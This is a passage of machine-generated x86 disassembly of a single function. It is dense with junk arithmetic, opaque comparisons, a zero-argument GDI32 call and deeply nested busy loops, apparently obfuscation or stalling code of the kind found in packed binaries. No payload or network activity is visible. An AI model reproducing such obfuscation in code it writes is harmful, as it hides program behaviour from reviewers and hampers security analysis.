pop ecx
mov dword [ebp - 0x13b8], eax
mov ecx, dword [ebp - 0x13b8]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x2274]
call fcn.100229d5
jmp 0x10044310
jmp 0x100442ea
jmp 0x100442c4
jmp 0x1004429e
mov dword [ebp - 0xf4], 2
jmp 0x100443b5
mov eax, dword [ebp - 0xf4]
dec eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
jl 0x10044a5a
mov dword [ebp - 0x16c], 0xb8c3ad3b
mov dword [ebp - 0x1e88], 0
mov dword [ebp - 0x13e0], 0x9214a9ba
mov dword [ebp - 0x13f8], 0x1c58bdfa
mov dword [ebp - 0x1e3c], 0x11a796d4
mov dword [ebp - 0x1e44], 0x3d21462c
push 1
lea ecx, [ebp - 0x1990]
call fcn.10022d19
mov byte [ebp - 4], 0x45
mov dword [ebp - 0x13d0], 0x43ccc099
mov dword [ebp - 0x78c], 0
jmp 0x10044432
mov eax, dword [ebp - 0x78c]
inc eax
mov dword [ebp - 0x78c], eax
cmp dword [ebp - 0x78c], 1
jge 0x10044451
push dword [ebp - 0x78c]
lea ecx, [ebp - 0x1990]
call fcn.10022db7
and dword [eax], 0
jmp 0x10044425
mov dword [ebp - 0x16c], 2
jmp 0x1004446a
mov eax, dword [ebp - 0x16c]
dec eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0
jl 0x10044523
mov dword [ebp - 0x1d70], 9
mov dword [ebp - 0x1b80], 0x8905b8b7
push 3
lea ecx, [ebp - 0x1a9c]
call fcn.10022d19
mov byte [ebp - 4], 0x46
mov dword [ebp - 0x1e5c], 0xfffffff8
mov dword [ebp - 0x794], 0
jmp 0x100444bf
mov eax, dword [ebp - 0x794]
inc eax
mov dword [ebp - 0x794], eax
cmp dword [ebp - 0x794], 3
jge 0x100444e1
push dword [ebp - 0x794]
lea ecx, [ebp - 0x1a9c]
call fcn.10022db7
mov dword [eax], 0x7c7008b1
jmp 0x100444b2
mov eax, dword [ebp - 0xf4]
cmp dword [ebp + eax*4 - 0x1aa8], 0
je 0x10044502
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x1a9c]
call fcn.10022d9b
jmp 0x10044523
mov eax, dword [ebp - 0x840]
inc eax
mov dword [ebp - 0x840], eax
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x1a9c]
call fcn.10022d9b
jmp 0x1004445d
mov dword [ebp - 0x174], 0
jmp 0x1004453c
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 2
jg 0x10044a46
mov dword [ebp - 0x2c0], 0x6b6c7e7c
mov dword [ebp - 0x7ac], 0xffffffff
mov dword [ebp - 0x848], 0
mov dword [ebp - 0x850], 1
mov dword [ebp - 0x1b88], 0xffffffff
mov dword [ebp - 0x1104], 0x43d3
mov dword [ebp - 0x13c8], 0x1000bdac
cmp dword [ebp - 0x1104], 0x4631
jle 0x10044651
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
and dword [ebp - 0x79c], 0
jmp 0x100445c1
mov eax, dword [ebp - 0x79c]
inc eax
mov dword [ebp - 0x79c], eax
cmp dword [ebp - 0x79c], 0x1d54
jge 0x10044651
and dword [ebp - 0x7a4], 0
jmp 0x100445e7
mov eax, dword [ebp - 0x7a4]
inc eax
mov dword [ebp - 0x7a4], eax
cmp dword [ebp - 0x7a4], 0xe32
jge 0x1004464c
mov eax, dword [ebp - 0x79c]
mov ecx, dword [ebp - 0x7a4]
sar eax, cl
cdq
mov dword [ebp - 0x1730], eax
mov dword [ebp - 0x172c], edx
push dword [ebp - 0x172c]
push dword [ebp - 0x1730]
lea ecx, [ebp - 0x22a4]
call fcn.100128ee
pop ecx
pop ecx
mov dword [ebp - 0x13c0], eax
mov ecx, dword [ebp - 0x13c0]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x22a4]
call fcn.100229d5
jmp 0x100445da
jmp 0x100445b4
mov dword [ebp - 0x1d78], 0x1cae4674
cmp dword [ebp - 0x1104], 0x4207
jge 0x10044673
push dword [ebp - 0x13c8]
call fcn.10074e83
pop ecx
mov dword [ebp - 0x1b70], 0xa0d3d7fb
mov dword [ebp - 0x1b6c], 0xa0d3d7fb
mov dword [ebp - 0x1b68], 0xa0d3d7fb
mov dword [ebp - 0x1b64], 0xa0d3d7fb
mov dword [ebp - 0x838], 0xffff
cmp dword [ebp - 0x13d0], 0x9e5f
jg 0x100446c1
push 0xfffffffffffffffa
pop eax
test eax, eax
jne 0x100446c1
and dword [ebp - 0x110c], 0
jmp 0x100446cb
mov dword [ebp - 0x110c], 1
mov eax, dword [ebp - 0x838]
dec eax
mov dword [ebp - 0x838], eax
mov eax, dword [ebp - 0x838]
cmp eax, dword [ebp - 0x110c]
je 0x100446f2
mov dword [ebp - 0x1114], 1
jmp 0x100446f9
and dword [ebp - 0x1114], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1aa8]
cmp dword [ebp - 0x1114], eax
jle 0x1004471a
mov dword [ebp - 0x111c], 1
jmp 0x10044721
and dword [ebp - 0x111c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1b70]
cmp dword [ebp - 0x111c], eax
jl 0x10044742
mov dword [ebp - 0x1124], 1
jmp 0x10044749
and dword [ebp - 0x1124], 0
mov eax, dword [ebp - 0x119c]
cmp dword [ebp - 0x1124], eax
jge 0x10044763
mov dword [ebp - 0x112c], 1
jmp 0x1004476a
and dword [ebp - 0x112c], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x112c], eax
jge 0x10044784
mov dword [ebp - 0x1134], 1
jmp 0x1004478b
and dword [ebp - 0x1134], 0
mov eax, dword [ebp - 0x7ac]
cmp eax, dword [ebp - 0x1134]
jne 0x100447a5
mov dword [ebp - 0x113c], 1
jmp 0x100447ac
and dword [ebp - 0x113c], 0
mov eax, dword [ebp - 0x2c0]
mov dword [ebp - 0x2c0], eax
mov eax, dword [ebp - 0x2c0]
sub eax, dword [ebp - 0x113c]
mov dword [ebp - 0x1144], eax
mov eax, dword [ebp - 0x1144]
add eax, 6
mov ecx, dword [ebp - 0x840]
add ecx, eax
add ecx, dword [ebp - 0x7ac]
mov dword [ebp - 0x16c], ecx
mov eax, dword [ebp - 0x174]
cmp dword [ebp - 0x16c], eax
jge 0x10044801
mov dword [ebp - 0x114c], 1
jmp 0x10044808
and dword [ebp - 0x114c], 0
cmp dword [ebp - 0x114c], 0
ja 0x1004481d
mov dword [ebp - 0x1154], 1
jmp 0x10044824
and dword [ebp - 0x1154], 0
push 0
lea ecx, [ebp - 0x12b8]
call fcn.10022db7
mov ecx, dword [ebp - 0x1154]
mov dword [eax], ecx
mov eax, dword [ebp - 0x850]
mov dword [ebp - 0x1b90], eax
mov eax, dword [ebp - 0x13d8]
mov dword [ebp - 0x1e2c], eax
mov eax, dword [ebp - 0x13e0]
mov dword [ebp - 0x1b98], eax
or eax, 0xffffffff
cmp eax, 0xfffffffd
jle 0x10044871
mov dword [ebp - 0x115c], 1
jmp 0x10044878
and dword [ebp - 0x115c], 0
mov eax, dword [ebp - 0x2c0]
sub eax, dword [ebp - 0x115c]
cmp dword [ebp - 0x2c0], eax
jl 0x10044898
mov dword [ebp - 0x1164], 1
jmp 0x1004489f
and dword [ebp - 0x1164], 0
cmp dword [ebp - 0x1164], 0xb5959469
jne 0x100448b7
mov dword [ebp - 0x116c], 1
jmp 0x100448be
and dword [ebp - 0x116c], 0
push 0
lea ecx, [ebp - 0x12b8]
call fcn.10022db7
mov ecx, dword [ebp - 0x116c]
cmp ecx, dword [eax]
jge 0x100448e1
mov dword [ebp - 0x1174], 1
jmp 0x100448e8
and dword [ebp - 0x1174], 0
imul esi, dword [ebp - 0x1174], 0x6ff2
push 0
lea ecx, [ebp - 0x1990]
call fcn.10022db7
add esi, dword [eax]
cmp esi, dword [ebp - 0x174]
jne 0x10044915
mov dword [ebp - 0x13e8], 1
jmp 0x1004491c
and dword [ebp - 0x13e8], 0
push 0
lea ecx, [ebp - 0x1990]
call fcn.10022db7
push 0
lea ecx, [ebp - 0x12b8]
call fcn.10022db7
mov ecx, dword [ebp - 0xf4]
cmp dword [eax], ecx
jl 0x1004494c
mov dword [ebp - 0x117c], 1
jmp 0x10044953
and dword [ebp - 0x117c], 0
mov eax, dword [ebp - 0x848]
cmp dword [ebp - 0x117c], eax
jge 0x1004496d
mov dword [ebp - 0x1184], 1
jmp 0x10044974
and dword [ebp - 0x1184], 0
mov eax, dword [ebp - 0x16c]
cmp dword [ebp - 0x1184], eax
jne 0x1004498e
mov dword [ebp - 0x118c], 1
jmp 0x10044995
and dword [ebp - 0x118c], 0
mov eax, dword [ebp - 0x118c]
sub eax, 0x3df3
cmp eax, dword [ebp - 0x850]
jle 0x100449b4
mov dword [ebp - 0x1194], 1
jmp 0x100449bb
and dword [ebp - 0x1194], 0
mov eax, dword [ebp - 0x1194]
mov dword [ebp - 0x119c], eax
mov dword [ebp - 0x7ac], 0xdce3ff50
cmp dword [ebp - 0x7ac], 1
jb 0x100449e6
mov dword [ebp - 0x13f0], 1
jmp 0x100449ed
and dword [ebp - 0x13f0], 0
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x1d80], eax
push 0
lea ecx, [ebp - 0x12b8]
call fcn.10022db7
mov eax, dword [eax]
mov dword [ebp - 0x848], eax
mov eax, dword [ebp - 0x848]
mov dword [ebp - 0x11a4], eax
push 0
lea ecx, [ebp - 0x12b8]
call fcn.10022db7
mov ecx, dword [ebp - 0x11a4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x850]
sub eax, dword [ebp - 0x11a4]
mov dword [ebp - 0x13f8], eax
jmp 0x1004452f
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x1990]
call fcn.10022d9b
jmp 0x100443a8
cmp dword [ebp - 0x11ac], 0x3fd5
jge 0x10044a72
push dword [ebp - 0x1400]
call fcn.10074e83
pop ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1aa8]
mov dword [ebp - 0x174], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12b8]
call fcn.10022d9b
cmp dword [ebp - 0x11b4], 0x1760
jge 0x10044ab0
mov edx, dword [ebp - 0x1408]
mov ecx, 0x1008fbf8
call fcn.1002574f
mov dword [ebp - 0x11bc], 0x199e
mov dword [ebp - 0x1410], 0x1000bde8
cmp dword [ebp - 0x11bc], 0x1b62
jle 0x10044bb0
and dword [ebp - 0x7c4], 0
jmp 0x10044aea
mov eax, dword [ebp - 0x7c4]
inc eax
mov dword [ebp - 0x7c4], eax
cmp dword [ebp - 0x7c4], 0x77d8
jge 0x10044bb0
and dword [ebp - 0x7b4], 0
jmp 0x10044b10
mov eax, dword [ebp - 0x7b4]
inc eax
mov dword [ebp - 0x7b4], eax
cmp dword [ebp - 0x7b4], 0x561e
jge 0x10044bab
and dword [ebp - 0x7bc], 0
jmp 0x10044b36
mov eax, dword [ebp - 0x7bc]
inc eax
mov dword [ebp - 0x7bc], eax
cmp dword [ebp - 0x7bc], 0xd69
jge 0x10044ba6
and dword [ebp - 0x7cc], 0
jmp 0x10044b58
mov eax, dword [ebp - 0x7cc]
inc eax
mov dword [ebp - 0x7cc], eax
cmp dword [ebp - 0x7cc], 0xda3
jge 0x10044ba4
mov ecx, dword [ebp - 0x7b4]
imul ecx, dword [ebp - 0x7bc]
mov eax, dword [ebp - 0x7c4]
shl eax, cl
xor eax, dword [ebp - 0x7cc]
cdq
mov dword [ebp - 0x173c], eax
mov dword [ebp - 0x1738], edx
push dword [ebp - 0x1738]
push dword [ebp - 0x173c]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x10044b4b
jmp 0x10044b29
jmp 0x10044b03
jmp 0x10044add
xor eax, eax
jmp 0x10044bd0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret